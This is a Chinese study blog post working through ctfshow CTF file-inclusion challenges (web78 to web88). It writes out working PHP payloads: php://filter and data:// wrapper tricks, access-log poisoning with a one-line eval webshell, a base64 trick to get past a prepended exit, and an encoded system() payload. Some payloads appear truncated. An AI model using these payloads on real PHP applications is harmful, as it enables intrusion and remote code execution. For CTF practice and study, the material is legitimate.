0%

-–
title: ctfshow web 文件包含
date: 2021-11-2 12:28:28
author: 土哥

tags:
- 学习笔记
categories:我不选,我都要
- 学习笔记
excerpt: 坚持
description: 努力

-–

#沛宝小屋

文件包含

web78 文件包含?file=php://filter/read=convert.base64-encode/resource=flag.php

web79 用到伪协议 用data命令 先查看目录 构造?file=data:text/p lain, 找到flag.php ?file=data:text/p lain,

web80
可看见提示包含日志文件 然后getshell 日志文件路径 ?file=/ var/log/ nginx/access.log 再抓包 将USER AGENT 改成一句话木马 然后用蚁剑连接即可 一句话木马为

web81 多过滤了冒号 不影响一句话密码 和web80同理

web87
绕过死亡die 就要学会编码解码
比如一段代码 ';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content); 第一句的content 有exit 就算成功写入一句话木马 也执行不了 幸运的是,这里的$_POST['filename']是可以控制协议的,我们即可使用 php://filter协议来施展魔法:使用php://filter流的base64-decode方法,将$content解码,利用php base64_decode函数特性去除“死亡exit”。我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。这里只有七个字符给加上个a,四个byte一组解码 解出来就没有'';
或者用php://filter/read=string.strip_tags/resource=php://input(字符串处理)还可以用rot13 php://filter/write=string.rot13/resource=xx.php
get:用两次url编码可绕过
php://filter/write=convert.base64-decode/resource=a.php
post:
这里用base64
所以这题写了好久不懂哪出了问题 但是 post我是用base64之后的<?php eval($_POST[1]); content=11PD9waHAgZXZhbCgkX1BPU1RbMV0pOw== 前面两个1是为了填充凑够四的倍数
get是php://filter/write=convert.base64-decode/resource=3.php 用notepad++两次url全编码绕过
为什么一马要这样写 因为限定了字数

web88
用data伪协议
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgPz8/Py4/Pz8nKTsgPz4
poc这里是
pz4后面有等号 可以删掉是为了填充凑成4的倍数